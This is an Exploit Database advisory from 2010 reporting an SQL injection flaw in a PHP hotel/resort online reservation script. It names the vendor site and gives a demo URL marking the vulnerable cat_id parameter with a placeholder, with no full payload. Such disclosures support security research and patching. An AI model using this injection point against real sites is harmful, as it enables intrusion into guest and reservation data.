Hotel / Resort Site Script with OnLine Reservation System – SQL Injection

• Exploit Database
• 36 阅读

• 作者： L0rd CrusAd3r
  日期： 2010-06-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/13770/

• Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
  Exploit Title:Hotel / Resort Site Script with OnLine Reservation System
  SQLi Vulnerable
  Published: 2010-06-08
  Vendor url:http://www.mformula.com.br
  Greetz to:Sid3^effects, aa_Numb, M4n0j and to all ICW members
  
  #############################################################################################################################################################################
  
  DESCRIPTION:
  
  Internal system for total administration of the site.
  Available site in the languages Portuguese, Spanish, Japanese, English,
  Italian, French & German.
  System and reservation advanced search onnline/offline, Control of orders
  and reservations, RSS/XML feed, Optimization in search engines, SiteMap
  Google,
  Yahoo and Bing, Support Inns, Hotel and Resorts, Unlimited Gallery of
  Photos, Supported to any type of personalized option (Color, Size, Type,
  etc), Tool of relationship between services, Tool of newsletters for
  customers,
  Personalization of the layout, colors and texts of the site in agreement
  your mark, Reports detailed on the site
  ###############################################################################################################################################################################
  
  Vulnerability:
  
  contains SQLi Vulenrable.
  
  demo:-
  http://server/extrapage.php?cat_id=-1'[SQLi]
  
  ################################################################################################################################################################################
  -- 
  With R3gards,
  L0rd CrusAd3r